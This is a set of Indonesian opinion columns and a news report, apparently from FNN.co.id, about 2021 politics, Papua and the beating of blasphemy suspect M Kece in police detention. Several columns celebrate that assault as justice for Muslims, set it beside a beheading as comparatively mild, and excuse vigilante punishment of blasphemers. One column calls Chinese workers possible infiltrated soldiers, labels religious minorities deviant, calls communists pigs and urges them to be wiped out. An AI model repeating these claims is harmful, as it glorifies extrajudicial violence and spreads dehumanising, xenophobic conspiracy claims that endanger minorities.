I. Yudo juga sebagai sosok yang memberi perhatian serius pada pengembangan SDM TNI AL. Dari dua nama calon Panglima TNI yang mencuat itu, siapakah yang bakal diajukan Presiden Jokowi ke DPR nanti? Menurut sumber yang dekat dengan Istana, pengamat boleh saja bernyanyi tentang calon Panglima TNI. “Namun, Mas Jokowi akan memilih sosok yang berpengalaman melibas teroris dan pemberontak,” katanya. Sumber tadi menyebut, “Diantaranya OPM di Papua,” lanjutnya. Presiden Jokowi sebelumnya sudah meminta masukan dan data keamanan nasional. Juga, sosok yang mampu tegas dalam bersikap. Selain soal OPM, keamanan nasional yang dimaksud juga ancaman teritorial dengan masuknya TKA China di berbagai pelosok tanah air yang suatu saat bisa mengganggu keamanan nasional. Meski jabatan Panglima TNI sudah dua kali dipegang dari matra Darat, namun ketentuan dalam Pasal 13 ayat (4) UU Nomor 34 Tahun 2004 tentang TNI yang menyebutkan “dapat dijabat secara bergantian” itu menyangkut etika saja. Sekarang, bola ada di tangan Presiden Jokowi. Mengedepankan etika atau ada pertimbangan strategis lainnya, adalah pilihan yang tidak mudah. Bak memakan buah simalakama, Jokowi dipastikan akan menghadapi polemik yang cukup memusingkan dia. Pilih etika atau kepentingan atau lainnya? Namun, di atas itu semua, baik Andika Perkasa maupun Yudo Margono memiliki peluang yang sama. Begitu pula dengan KSAU Marsekal Fajar Prasetyo. Mereka adalah putra-putra terbaik TNI saat ini. Mereka juga dipastikan dapat memperhatikan kepentingan organisasi TNI. Penulis adalah Wartawan FNN.co.id

Anugerah Sebuah Hidayah

Oleh: Yusuf Blegur Fenomena Krisdayanti, Irjen Napoleon Bonaparte dan Brigjen Junior Tumilaar yang memenuhi komunikasi publik belakangan ini. Bukan saja menjadi sesuatu yang unik. Apa yang mereka lakukan sejatinya memberi warna baru dan makna tersendiri. Terutama bagi seluruh rakyat Indonesia dalam menjalani kehidupan berbangsa dan bernegara. Mereka yang dalam situasi dan keadaan berbeda, namun sama-sama sebagai pemangku kepentingan publik. Berani menyampaikan sikap dan tindakan yang tidak biasa. Diluar otoritas kelembagaan yang mengikat mereka dan semangat kolektif kolegial dari kawan-kawan lainnya. Krisdayanti yang anggota DPRI. Irjen Napoleon Bonaparte yang meski sedang menjalani hukuman terkait kasus pemberian Red Notice pada Joko Chandra buronan koruptor kakap, namun masih tercatat sebagai anggota Polri. Begitupun dengan Brigjen Junior Tumilaar yang menjadi petinggi di TNI-AD. Mereka bertiga merupakan figur yang masih bisa membuktikan bahwa status sosial dan jabatan tidak seharusnya membuat mereka bungkam dan tidak bisa berbuat apa-apa. Minimal tidak hanya sekedar 'tahu tapi pura-pura tidak tahu' saat melihat ada sesuatu yang tidak sedang baik-baik saja. Terutama saat secara langsung dengan mata kepala sendiri melihat rakyat di negeri ini harus mengalami penderitaan dan hidup dalam ketidakadilan. Dimana mereka ada di dalam dan menjadi bagian dari sistem yang secara struktural menjadi penyebab semua dekadensi kenegaraan itu. Mereka bertiga, sesaat melawan mainstream dan tidak takut kehilangan eksistensi ataupun jabatan mereka. Bahkan terhadap apapun yang mungkin bisa terjadi pada diri mereka dikemudian hari. Sepatutnya seluruh rakyat Indonesia, bisa memberikan apresiasi dan mendukungnya. Apapun yang menjadi latarbelakang dan motif mereka saat menyuarakan realitas dan pembelaan mereka pada rakyat kecil, negara bangsa dan agama. Krisdayanti dengan segala atribut yang dimilikinya. Katakanlah prestasi di dunia tarik suara atau yang menempatkannya sebagai salah satu Diva musik Indonesia. Menjadi politisi dengan embel-embel artis yang cantik, terkenal dan cukup kaya. Baik yang didapat dari penghasilan karirnya sendiri maupun dari suaminya yang pengusaha. Merupakan figur idol yang menjadi dambaan hidup terutama bagi kebanyakan perempuan di Indonesia. Kehadirannya dalam dunia politik dan duduk sebagai anggota DPR RI. Mampu menepis bahwasanya kehadiran artis bukan sekedar pemanis dan penghias parlemen atau hanya untuk menjadi 'vote getter' bagi partai politik. Kalangan artis atau selebritas tidak melulu hanya menambah daftar panjang sederet figur planga-plongo pejabat dan pemimpin di republik ini. Krisdayanti dalam kesempatan acara bincang-bincang di satu acara video channel, sempat melantunkan senandung politik. Nyanyian fals yang tak mengibur dan membuat tak nyaman bagi institusi parlemen dan partai politik. Juga bagi koleganya para politisi senayan. Sekilas rakyat mengetahui seorang Krisdayanti memang memiliki vokal yang bagus di panggung politik, tidak sebatas di panggung konser musik. Krisdayanti terkesan berhasil membongkar 'aib' seperti apa kinerja anggota legislatif dibandingkan gaji dan fasilitas berlimpah yang diterimanya. Belum lagi ditambah kebiasaan kasus korupsi yang kerap dijumpai pada anggota dewan yang terhormat. Sementara terkait Irjen Napoleon Bonaparte jebolan akademi polisi (akpol) tahun 1988. Meskipun sedang menjalani hukuman, namun mampu membuat gebrakan dimata publik. Beliau mengambil tindakan terukur usai kebuntuan komunikasinya terhadap M Kece yang terlalu sering melecehkan agama Islam, menghina Nabi Muhammad Shallallahu Alaihi Wasallam dan merendahkan para ulama. Irjen Napoleon Bonaperte yang pernah menjabat Kepala Divisi Hubungan Internasional (Hubinter) Polri pada tahun 2020, mengambil tindakan 'tegas' didalam ruang tahanan bareskrim Polres Jakarta Selatan. M Kece yang perilaku sebelumnya jarang tersentuh hukum pada akhirnya mendapat ganjaran hukuman fisik. Wajah dan sekujur tubuhnya tidak lagi 'kece' seperti namanya. Bukan berarti membenarkan kekerasan. Kasus pemukulan M Kece, masihlah sangat ringan dibandingkan perlakuan di negara lain terhadap para penista agama ataupun yang menghina Nabi Muhammad Shallallahu Alihi Wassalam. Bahkan di negara sekuler sekalipun. Dunia belum lupa pada pemenggalan kepala Samual Patty seorang guru sejarah di Prancis. Pendidik yang dianggap menghina karena menampilkan karikatur Nabi Muhammad Shallallahu Alaihi Wasalam. Beberapa kasus lain juga sering terjadi di dunia terkait penghakiman massa atau hukuman sosial saat hukum positif atau formal membiarkan pelaku penistaan agama Islam. Irjen Napoleon Bonaparte yang mengeksekusi M Kece, seakan memenuhi dahaga keadilan hukum bagi rakyat. Terutama umat Islam. Irjen Napoleon Bonaparte yang karirnya cukup bagus di kepolisian dan berpengalaman dalam bidang reserse. Menyiratkan ada pemberontakan kecil terhadap sistem hukum di Indonesia. Sistem hukum yang dikuasai oleh persekongkolan kekuasan politik dan mafia ekonomi. Ketidakadilan hukum yang sering memilih korban. Keberanian Irjen Bonaparte, memicu kasus penganiayaan M Kece menjadi bukti betapa keadilan Tuhan juga bisa hadir didunia. Tidak pula harus menunggu pengadilan akherat. Tindakan tegas dan terukur Irjen Napoleon Bonaparte, boleh jadi merupakan perwujudan aspirasi dari rakyat utamanya umat Islam. Mungkin juga menjadi representasi para tokoh dan pemimpin baik dari kalangan sipil dan militer yang selama ini terbelenggu dan tak berdaya oleh sistem. Demikian juga dengan Brigjend Junior Tumilaar. Saat membela Ari Taharu seorang warga miskin yang buta huruf (67 tahun). Ari Taharu merupakan pemilik tanah waris yang diserobot oleh PT. Citra Internasional/ Perumahan Citraland. Bukan itu saja. seorang Bintara Pembina Desa (Babinsa) seketika didatangi Brimob bersenjata Polda Sulawesi Utara. Sementara Ari Taharu sudah setengah bulan ditahan Polresta Kota Manado sejak Brigjend Junior Tumilaar menulis surat kepada Kapolri yang ditulis pada tanggal 15 September 2021. Perhatian dan keberpihakan Brigjend Junior Tumilaar terhadap rakyat kecil termasuk seorang petugas Babinsa, menjadi sesuatu yang istimewa di republik ini. Mengingat yang dihadapi adalah borjuasi korporasi besar. Publik terlanjur memahami bahwa negara lebih banyak diatur oleh perusahaan ketimbang para aparatur pemerintahannya. Apalagi baik insitusi kepolisian dan TNI karena ulah oknum-oknumnya sering dianggap sebagai 'beking' pengusaha kakap yang tipis perbedaannya dengan mafia atau sindikat. Kekuasan dan pengaruh mafia tanah yang memunculkan 'extrim prejudice' bahwa dibelakangnya ada Polri dan TNI, termasuk birokrasi pemerintahan seperti BPN. Brigjend Junior Tumilaar yang jebolan Akademi Militer (Akmil) Angkatan Darat tahun 1988, merupakan pejabat Inspektur Komando Daerah Militer XIII/Merdeka. Ia merupakan seorang Jenderal TNI kerakyatan yang langka, berkarakter memperjuangkan rakyat kecil dan tertindas. Mengigatkan negara pada figur jenderal besar dan pahlawan Soedirman. Berani mengambil resiko apapun dari keyakinan dan tindakan yang diyakini kebenarannya, untuk rakyat, bangsa dan negara. Selain itu, mengingatkan khalayak sejarah pada sosok Jenderal Polri Hoegeng yang jujur dan berintegritas yang tak akan dijumpai di kepolisian Indonesia, mungkin sampai kiamat nanti. Spiritualitas Melawan Sekulerisme Memang sangatlah sulit untuk merubah sistem yang sangat lama begitu akut membentuk sifat dan mentalitas manusia yang berorientasi pada kebebasan baik aspek material maupun imaterial. Seperti negara yang lahir dengan sistem politik yang memisah relasi agama dan negara. Maka seiring itu negara menentukan kebijakan negara tidak pada landasan agama. Sehingga bisa dipastikan kehidupan rakyatnya begitu kering dari spiritualitas. Masyarakat menjadi penganut materi dan kebendaan lainnya. Nilai-nilai religius tercerabut dalam hati, pikiran dan tindakannya dalam pelbagai sendi kehidupan. Agama hanya sekedar simbol dan formalitas praktek kehidupan bermasyarakat, berbangsa dan bernegara. Jauh dari isi, menyimpang dari substansi dan esensi Ketuhanan (Tauhid). Dalam kehidupan dunia yang dijejali oleh sekulerisasi dan liberalisasi. Termasuk penyelenggaraan tata kelola negara dengan sekedar jargon Pancasila dan NKRI ini. Rakyat Indonesia terbiasa menghirup udara kapitalisme. Norma-norma sosial dan prinsip-prinsip kemanusiaan menjadi fosil dari kebudayaan lama yang baik. Pranata sosial dan kearifan budaya luhur seperti menjadi usang dalam alam modernitas. Humanisme menjadi tabu pada menguatnya perilaku hedon. Orang-orang terutama pada pemegang kebijakan publik dan dalam lingkar kekuasaan berlomba-lomba mengejar harta dan dan tahta. Baik elit swasta maupun pemerintah tak peduli menghancurkan tradisi positif masa lampau. Seperti nilai-nilai gotong-royong, kepedulian terhadap sesama dan sikap pengorbanan diri (altruisme dan patriotisme). Semoga apa yang baru kita cermati dengan kemunculan pemikiran, sikap dan tindakan yang berani dari sosok Krisdayanti, Irjen Napoleon Bonaparte dan Brigjend Junior Tumilaar menjadi 'trigger' kesadaran kemanusiaan dan kebangsaan Indonesia. Meskipun kecil dan sedikit, setidaknya mereka telah memulai sesuatu yang diharapkan dapat menjadi pembuka kesadaran makna dan kesadaraan krisis bagi semua komponen bangsa dan negara. Betapapun perjuangan menegakan kebenaran dan keadilan itu, bukanlah sesuatu yang murah dan bisa bisa didapat begitu saja. Upaya-upaya untuk menjadi manusia taat dan menghamba pada Tuhan Yang Maha Kuasa itu. Akan sebanding dengan melepaskan hasrat keduniawian. Membuang jauh-jauh hati dan pikiran yang mencintai berlebih harta dan jabatan. Kesadaran nilai dan prinsip itu , pastinya akan menjadi kegilaan dan keterasingan di tengah jaman jahiliyah yang modern ini. Pada akhirnya seseorang atau siapapun akan sulit mempertahankan idealismenya menghadapi rasionalitasnya. Terlebih berkomitmen, berintegritas dan istiqomah pada prinsip menjunjung tinggi kebenaran dan keadilan. Apalagi jalan lurus yang akan ditempuhnya itu beresiko melepaskan semua fasilitas dan kenikmatan hidup dunia yang dimiliki ataupun yang akan diraihnya. Akan tetapi itu bukan hal yang mustahil dan bukan berarti tidak dapat diwujudkan. Karena diluar kehendak dan kemampuan manusia. Masih ada harapan bagi orang di dalam ataupun di luar sistem yang akan dapat merubah keadaan menjadi lebih baik. Kebaikan yang telah diamanatkan dan bersumber dari Ilahi. Sebuah anugerah dalam wujud hidayah. Semoga. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Tindakan Terukur Sang Jenderal, dan Suka Cita Umat

Oleh Ady Amar *) AWAL Agustus sudah terjadi perdamaian antara M. Kece (kasus penodaan agama) dan Irjen Napoleon Bonaparte (terpidana kasus suap dan penghapusan red notice Djoko Tjandra). Rentang waktu cukup lama, sekitar 1,5 bulan dari saat kejadian, M. Kece (MK) melaporkan Napoleon Bonaparte (NB) atas tindakan penganiayaan di tahanan Bareskrim Mabes Polri. Sepertinya ia butuh waktu cukup lama untuk berani melaporkan kejadian penganiayaan yang menimpanya. Keberanian yang memang dari diri sendiri muncul, atau ada pihak eksternal yang back up untuk ia berani melaporkan. Analisa bisa ditarik ke sana, itu jika melihat waktu kejadian dan saat melaporkan kejadian butuh waktu begitu lama. Lalu bagaimana lebam-lebam yang diterima MK setelah kejadian itu, apa tidak tampak di wajah dan tubuhnya bekas penganiayaan. Apa tidak perlu karena itu ia perlu dirawat karena luka-lukanya. Apa dibiarkan saja ia kesakitan tanpa perlu diberi pertolongan medis. Analisa bisa juga ditarik pada kasasi yang diajukan NB, karena Pengadilan Tinggi memutus 4 tahun penjara, adakah pelaporan MK itu bersinggungan dengan kasasinya agar hakim yang memutus di tingkat kasasi, jika mungkin dengan penetapan hukum yang sama dengan putusan sebelumnya (PT) atau bahkan jika perlu lebih berat lagi. Apa yang menyebabkan informasi penganiayaan itu sampai harus keluar dari Bareskrim, tidak ada yang tahu. Analisa bisa dibuat, dan hakim yang akan memutuskan pun tentu punya standar hukum sendiri. Kasus belakangan berkenaan dengan penganiayaan, jika benar itu dilakukan NB, tentu tidak ada hubungan dengan kasus hukum yang dihadapinya. Lalu untuk apa kasus itu muncul, itu yang mesti dicari tahu. Keberanian MK itu jika muncul bukan dari dirinya, tapi dari bujukan pihak lain, tentu itu akan membahayakan dirinya. Tidak menutup kemungkinan tahanan lainnya akan memburu mencari kesempatan menghajarnya, jika kesempatan didapatnya. Membahayakan diri sendiri itu perbuatan konyol. Suara Umat yang Terjawab Napoleon Bonaparte (NB), terlepas dari apa yang dilakukan terhadap si penoda agama (Islam), M. Kece (MK), itu tindakan penganiayaan yang tidak pantas dilakukan, bahkan masuk kategori perbuatan di luar hukum. Namun anehnya, tindakannya itu mendapat apresiasi sebagian besar umat Islam khususnya. Menghajar si penoda agama, itu rasa yang ingin pula dilakukan oleh sebagian umat, jika kesempatan memungkinkan. Meski harus menghadapi risiko hukum. Agama yang dinista/dinodai itu wajib dibela dengan apa yang bisa dilakukan. Maka, tindakan di luar hukum, yang dilakukan NB, justru disikapi umat dengan suka cita. Apa yang dilakukan NB itu seperti harapan umat yang terwakili. Karenanya, disambut umat dengan suka cita. Apa yang menyebabkan NB sampai melakukan hal di luar hukum, padahal ia seorang penegak hukum, itu sulit dijelaskan. Agama yang diyakininya, seperti juga yang dibelanya, itu punya kedudukan khusus dan teratas. Itulah yang disebut keyakinan. Dalam Islam biasa disebut akidah. Menghinanya maka akan muncul tindakan yang sulit bisa dinalar. NB dalam surat terbukanya menjelaskan, boleh hina saya, tapi jangan agamaku dan Nabi Muhammad. Negara mesti tahu soal-soal yang demikian. Negara mestinya tidak memberi tempat, dan selayaknya "menghajar" pelaku penodaaan/penistaan agama dengan hukum sekeras-kerasnya, jika tidak ingin ada pihak lain muncul sebagai pengadil. Abainya negara memunculkan NB, yang muncul sebagai pengadil, dan menghajar pelaku penista agama dengan bogem mentah, dan bahkan jika benar kabar lainnya yang muncul, ia lumuri wajah dan tubuh MK dengan tinja. Itulah yang disebut NB dengan tindakan terukur, yang tidak sampai membuat MK lebih parah lagi dibuatnya. Meski sebenarnya kesempatan itu bisa saja dilakukannya. Negara memang tidak atau kurang hadir, jika Islam diperolok oleh mereka yang kebetulan berdekatan dengan kekuasaan. Banyak kasus penodaan/penistaan agama muncul, dilaporkan tapi tidak ada tindak lanjut atas kasus pelaporan yang dilanjut memproses pelakunya. Kasus Denny Siregar, Permadi Arya (Abu Janda), Ade Armando dan lainnya, mereka seperti manusia istimewa yang tidak bisa disentuh hukum. Maka, jangan salahkan jika umat lalu mencari keadilan hukum dengan jalannya sendiri. Kesabaran umat akan terkikis jika agama yang diyakini itu dihinakan, dan negara abai merespons keresahan itu. Maka pengadilan jalanan lambat laun akan muncul, dan itu berbahaya. Antisipasi acap dinomorsekiankan, sehingga jika apa yang tidak diinginkan itu terjadi, maka semua berteriak menganggap pelakunya biadab dan sebagainya. Padahal perlakuan "biadab" itu oleh sebagian yang lain, bahkan bisa jadi oleh mayoritas, dianggap pahlawan yang membela agamanya. Semua tentang sudut pandang. NB memberi pelajaran, bahwa agamanya dan Nabinya (Muhammad Shallallahu Alaihi Wassallam) tidak patut dinodai, dan terjadilah kasus pelajaran di rutan Bareskrim pada si penista agama. Melihat apa yang terjadi, tidaklah adil jika hanya melihat pada kejadian semata, tanpa melihat mengapa sampai MK dihajar. Itu peristiwa bukan ujug-ujug atau tidak berdiri sendiri. Bahkan bukan cuma masalah NB, tapi masalah umat yang meminta keadilan yang tidak didapatnya. Maka, umat melihat kasus NB atas tuduhan pidananya tidak lagi dilihat sebagai masalah hukum. Justru bogem mentahnya, itu menjadikan ia dielukan bak pahlawan yang dikirim Tuhan. Memang berlebihan melihatnya, tapi setidaknya kegeraman umat selama ini direspons baik oleh Napoleon Bonaparte dengan tindakan terukurnya. (*) *) Kolumnis

Anies Baswedan Penuhi Panggilan KPK

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan memenuhi panggilan Komisi Pemberantasan Korupsi (KPK) untuk diperiksa sebagai saksi dalam penyidikan kasus dugaan korupsi pengadaan tanah di Munjul, DKI Jakarta. "Pada pagi hari ini, saya memenuhi undangan untuk memberikan keterangan. Sebagai warga negara yang ingin ikut serta di dalam memastikan tata kelola pemerintahan berjalan dengan baik maka saya datang memenuhi panggilan tersebut," kata Anies saat tiba di Gedung KPK, Jakarta, Selasa, 21 September 2021. KPK memanggil Anies sebagai saksi untuk tersangka mantan Dirut Perumda Pembangunan Sarana Jaya Yoory Corneles Pinontoan (YRC) dan kawan-kawan dalam penyidikan kasus dugaan korupsi pengadaan tanah di Munjul, Kelurahan Pondok Ranggon, Kecamatan Cipayung, Jakarta Timur, DKI Jakarta Tahun 2019. Ia mengharapkan keterangan yang akan disampaikan kepada penyidik dapat membantu tugas KPK dalam penanganan kasus pengadaan tanah di Munjul tersebut. "Saya berharap nantinya keterangan yang saya berikan akan bisa membantu tugas KPK di dalam menuntaskan persoalan korupsi yang sedang diproses. Jadi, saya akan sampaikan semua yang dibutuhkan dan semoga itu bermanfaat bagi KPK," ucap Anies, sebagaimana dikutip dari Antara. Selain Anies, KPK pada Selasa (21/(9 memanggil Ketua DPRD DKI Jakarta Prasetyo Edi Marsudi yang juga diperiksa sebagai saksi terhadap tersangka Yoory dan kawan-kawan. Edi juga telah hadir memenuhi panggilan penyidik. Selain Yoory, KPK menetapkan empat tersangka lainnya, yaitu Direktur PT Adonara Propertindo, Tommy Adrian (TA); Wakil Direktur PT Adonara Propertindo, Anja Runtuwene (AR); Direktur PT Aldira Berkah Abadi Makmur (ABAM), Rudy Hartono Iskandar (RHI), dan satu tersangka korporasi PT Adonara Propertindo. Atas perbuatan para tersangka tersebut diduga telah mengakibatkan kerugian keuangan negara sebesar Rp 152,5 miliar. Para tersangka diduga melanggar Pasal 2 ayat (1) atau Pasal 3 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke-1 KUHP. KPK menduga Sarana Jaya melakukan perbuatan melawan hukum terkait pelaksanaan pengadaan tanah di Munjul. Yakni tidak adanya kajian kelayakan terhadap objek tanah, tidak dilakukannya kajian appraisal, dan tanpa didukung kelengkapan persyaratan sesuai dengan peraturan terkait. Selanjutnya, beberapa proses dan tahapan pengadaan tanah diduga kuat dilakukan tidak sesuai SOP serta adanya dokumen yang disusun secara backdate. Juga adanya kesepakatan harga awal antara pihak Anja dan Sarana Jaya sebelum proses negosiasi dilakukan. (MD).

Apa Isi Kepala Prof Mahfud MD?

Oleh Sugengwaras Beliau sebagai Pejabat Tinggi Negara, MENKOPOLHUKAM, banyak makan garam di bangku kuliah yang dibayar bukan dengan daun jeruk, banyak jabatan strategis yang pernah dilalui, mendadak keluar statemen (meskipun usulan dari orang yang tidak jelas, mungkin bangsa setan / iblis), tentang pemikiran perlunya anonim KKB (Kelompok Kriminal Bersenjata) Papua, diganti TERORIS. Tanpa mengurangi rasa hormat, mungkin saja kepala Prof Mahfud MD terasa pusing, berputar putar, seolah dihantui rasa ketakutan dan dosa besar, karena diam seribu bahasa terhadap nasib HRS yang dipidanakan, sedangkan dia ikut terlibat merestui para fans HRS menjemput di Bandara Soetta, tapi profesor satu ini masih petengkrang petengkreng pura pura tidak punya salah. Bagaimana tidak? Tidak mungkin seorang Mahfud MD tidak paham, tidak tahu dan tidak mengerti tentang asal muawal sebutan KKB. Saya jadi ingat sewaktu tahun 1974, ditugaskan di Irian Barat atau Papua sebutan kini, sebagai PA UTERPRA ( Komandan Koramil ) sebutan sekarang, di jantung Papua, Kabupaten Jaya Wijaya, tepatnya di daerah kecamatan Piramid. Hal yang paling saya ingat adalah, teguran dari Komandan saya, Komandan Kodim 1702 / Wamena tentang pemahaman OPM ( Organisasi Papua Merdeka), GPK (Gerombolan Pengacau Keamanan) dan GPL (Gerombolan Pengacau Liar). Ini harus dipahami oleh seluruh bangsa Indonesia, terutama bagi tentara yang bertugas di Papua. Bahwa pada hakekatnya ada perbedaan makna yang signifikan yang tersirat dan tersurat pada OPM, GPK dan GPL Yang benar, OPM adalah hanya untuk pihak lawan, karena OPM bermakna secara politis, yang menguntungkan pihak lawan, di mana ada pengakuan / diakui sebagai organisasi yang sah, baik secara nasional maupun Internasional, yang bisa dan berhak mendapatkan bantuan perlindungan / suaka politik dari negara lain. Oleh karenanya, pemerintah Indonesia saat itu melarang keras terhadap siapa saja rakyat Indonesia, terutama para wartawan, agar tidak menggunakan kata kata OPM. Agar mereka / lawan / gerombolan bersenjata / pemberontak tidak bisa memperoleh dukungan politik / suaka dari negara lain dan dianjurkan bahkan diharuskan menggunakan GPK / GPL, agar tidak ada berbau politik maupun tidak bisa dibantu atau didukung secara politik oleh negara lain serta agar merupakan masalah dalam negeri. Oleh karenanya, menjadi aneh bin ajaib, ketika prof Mahfud MD melemparkan pertanyaan atau pernyataan tentang penggantian KKB menjadi TERORIS. Wajar saja Komnas HAM, tidak menyetujuinya, karena tanpa saya urai makna teroris jauh berbeda dengan makna KKB. Kita paham bahwa sebutan TERORIS , maju atau mundur secara politis akan merugikan NKRI, di mana KKB ada kemiripan dengan GPK atau GPL Semoga, pak MENKOPOLHUKKAM, tidak menghindar dari kesalahan ini dan semoga penjelasan singkat ini dapat memberikan pemahaman rakyat Indonesia di manapun berada. *) Purnawirawan TNI AD.

Ciri-Ciri Geliat Komunis

By M Rizal Fadillah SUSANINGTYAS Nefo yang mengklaim pengamat intelijen bisa membuat ciri ciri teroris berbasis Islamophobia dengan analisis gampangan. Untuk mengendus ciri ciri geliat komunis dapat dengan analisis gampangan juga. Tak perlu pusing pada kritik, ya mbak. Mau disebut abal abal atau fikiran dengkul oke oke saja. Nah ciri ciri geliat komunis di negeri ini yang bisa dilempar, yaitu : Pertama, revolusi mental sebagai aktualisasi dari slogan Ketua CC PKI DN Aidit yang memulai dengan menghapus nama dirinya "Ahmad". Berakar dari filsafat Karl Marx dan dipopulerkan oleh pendiri Partai Komunis Tiongkok Chen Duxiu dan Li Dazhao untuk mencuci otak kelompok buruh dan petani agar berani melawan kekaisaran. Revolusi Mental Jokowi ternyata gagal pula. Kedua, meminimalisasi bahkan mengeliminasi peran agama dan tokoh-tokoh agama. Agama ditempatkan sebagai penghambat kemajuan dan pembangunan. Agama bersimbol politik adalah musuh yang harus dihabisi. Persekusi dan krimininalisasi ulama dan tokoh agama menjadi model dari kebijakan politik. Pembubaran HTI dan FPI, penzaliman HRS, Munarman, serta pembunuhan sadis 6 laskar menjadi indikasi. Ketiga, penistaan agama merajalela dan terproteksi. Buzzer bayaran bukan saja membela tuan jilatannya tetapi juga menyerang keyakinan agama. Sebutan Kadrun, teroris, radikalis adalah peluru tembakan. Belum lagi penghina seperti Zhang dan Kace. Bagus juga Bonaparte membuat Kace tidak kece. Keempat, perlindungan dan persahabatan dengan RRC. Komunis butuh support global dan saat ini pengendali kekuatan global itu adalah Republik Rakyat China. Investasi dan "debt trap" RRC berimplikasi politik. Kerjasama Partai Politik dengan Partai Komunis China tidak boleh dianggap sederhana. Demikian juga PKC yang telah sukses menginjak Istana. Kelima, kepercayaan diri tokoh-tokoh minoritas untuk tampil di panggung politik akibat dukungan taipan. Setelah ekonomi dihabisi kini ruang politik dijajagi dan dikangkangi. Menjadi bagian dari kekuatan oligarki yang dominan mengendalikan negeri. Atmosfir untuk geliat komunis tengah diciptakan. Keenam, kehadiran TKA China di Indonesia. Mereka dipastikan berideologi komunis karena ketentuan hukum kewarganegaraan negeri China. Mendapat dukungan dan perlindungan dari warga China diaspora. Ada kekhawatiran para pekerja itu juga adalah tentara merah yang disusupkan. Ketujuh, adu domba antar agama dan golongan dengan menyembur fitnah. Konflik dibangun. Mendorong perkembangan faham sesat seperti Ahmadiyah, Syi'ah, Baha'i juga mistik-mistik dan Nabi Nabi palsu. Kedelapan, semangat untuk menghapus Tap MPRS No. XXV/MPRS/1966 karena dianggap menghalangi pengembangan Komunisme. Mendengungkan perlindungan keberadaan faham kiri termasuk sosialis komunis sebagai bagian dari HAM. Kesembilan, gerakan pelurusan sejarah dengan membangun citra bahwa pelaku kudeta itu bukan PKI tetapi Soeharto, PKI sebagai korban, skenario Amerika, serta mengangkat kasus-kasus pembunuhan kader PKI oleh TNI dan umat Islam. Ditambah dengan membangun isu rekonsiliasi dan rehabilitasi. Kesepuluh, banyak yang teriak komunis sudah tidak ada. Komunis sudah kompromi dengan Kapitalis, tunjukkan mana PKI atau Komunis di Indonesia, serta ungkapan serupa agar abai dengan faham Komunisme. Ryamizard Ryacudu menyatakan bahwa mereka yang teriak Komunis tidak ada itu sebenarnya adalah Komunis. Kewaspadaan terhadap gerakan Neo PKI, Neo Marxis, dan Neo Komunis harus terus ditingkatkan. Oligarkhi dan korporatoktatisme serta jurang kaya dan miskin yang semakin lebar membuka celah untuk tumbuh dan bangkit Komunisme. Penyusupan pada birokrasi, partai politik, dan instansi pemerintah lainnya adalah model gerakan tanpa bentuk dari PKI dan Komunis. Pilihan hanya waspada, tangkal, dan basmi atau kita yang babak belur dihabisi. Komunis adalah ideologi nir-moral dimana para pendukungnya adalah babi-babi yang buta. Komunis lebih dari sekedar ideologi, kini ia telah bermutasi menjadi pemain watak yang mahir bersembunyi. *) Pemerhati Politik dan Kebangsaan

Napoleon Bonaparte

By Asyari Usman SAYA mengenal Napoleon Bonaparte sejak 1973. Semasa duduk di kelas 3 SMP. Waktu itu, saya membaca sejarah dunia. Dulu ada pelajaran sejarah dunia dan sejarah Indonesia. Napoleon adalah seorang tokoh militer dan politik di Prancis. Dia menjadi cemerlang di masa Revolusi Prancis. Napoleon beberapa kali sukses memimpin perang semasa revolusi itu. Dia kemudian menjadi pemimpin Republik Prancis pada awal abad ke-19. Ketika itu, jabatan tertinggi di Prancis masih disebut “kaisar”. Dengan gelar “Napoleon I”, Kaisar Prancis itu memang terkenal lihai dalam strategi militer dan politik. Di mata sebagian rakyat Prancis, Napoleon Bonaparte dianggap sebagai pahlawan. Dialah yang mampu meluaskan kekuasaan ke sejumlah wilayah Eropa bagian barat. Setamat SMP, jarang sekali saya membaca atau bertemu nama Napoleon Bonaparte. Baru “berjumpa” lagi dengan Napoleon sewaktu ada kesempatan berkunjung ke Paris. Tiga atau empat kali. Soalnya lumayan dekat dari London –tempat saya bermukim lebih kurang 30 tahun. Alhamdulillah, dalam beberapa hari ini saya diingatkan kembali pada Napoleon Bonaparte oleh Napoleon Bonaparte versi Indonesia. Tak kalah hebat. Versi Indonesia itu adalah seorang inspektur jenderal. Bintang dua di kepolisian. Irjen Napoleon mendadak dinobatkan menjadi pahlawan. Banyak yang menyampaikan terima kasih secara terbuka di media sosial (medsos) atas keberanian dia melakukan “tindakan terukur” terhadap tersangka penista agama Islam, Muhammad Kece. Meme yang bertuliskan “Terima kasih Jenderal telah mewakili kami” beredar luas di medsos. Pelecehan dan penghinaan yang dilakukan oleh Kece terhadap Islam, Al-Quran, dan Nabi memang keterlaluan. Dia sudah lama murtad. Seenaknya menyebut Nabi dikelilingi jin, dsb. Lebih 400 rekaman video Kece yang melecehkan Islam. Kebetulan saja, Irjen Napoleon Bonaparte “jumpa” dengan Kece di rumah tahanan Bareskrim Polri. Kece ditangkap belum lama ini, sedangkan Irjen Napoleon sedang menjalani hukuman dalam kasus pencabutan “red notice” Interpol atas nama Djoko Candra –seorang koruptor yang menjadi burunan bertahun-tahun di luar negeri. Napoleon dihukum karena lalai mengawasi anak-buahnya yang menyebababkan “red notice” itu dicabut. Irjen Napoleon mengatakan dia melakukan “tindakan terukur” terhadap Kece karena dia tidak bisa menerima penghinaan terhadap Al-Quran dan Nabi. Kalau diamati foto Kece setelah “tindakan terukur” itu, memang dapat dilihat sejumlah bekas di wajahnya dengan berbagai “ukuran”. Misalnya, ada lebam yang kelihatannya berbentuk bundar berukuran 6-7cm dengan ketebalan yang lumrah. Mungkin sekali ini yang dimaksud “terukur” itu. Artinya, ada lebam-lebam yang “konvensional”. Kalau kita analisis laporan-laporan tentang suasana “sambutan” untuk Kece di rutan Polri, sebetulnya tindakan yang dialami oleh penista Islam itu dapat dikategorikan sebagai “amuk massa”. Dalam arti, bukan Pak Napoleon saja yang naik pitam waktu itu. Banyak napi lain yang juga mengekspresikan kemarahan mereka terhadap kelakuan Kece. Dahsyatnya, Irjen Napoleon Bonaparte tampil untuk mengambil alih semua tanggung jawab atas “amuk massa” itu. Beliau menulis surat terbuka yang ditujukan ke seluruh rakyat. Intinya, Napoleon tak bisa menahan emosinya ketika Nabi dan kita suci dihina. Begitulah hidup ini. Semula orang melihat Irjen Napoleon dengan stigma negatif. Karena memang hal buruklah yang membawa dia ke penjara. 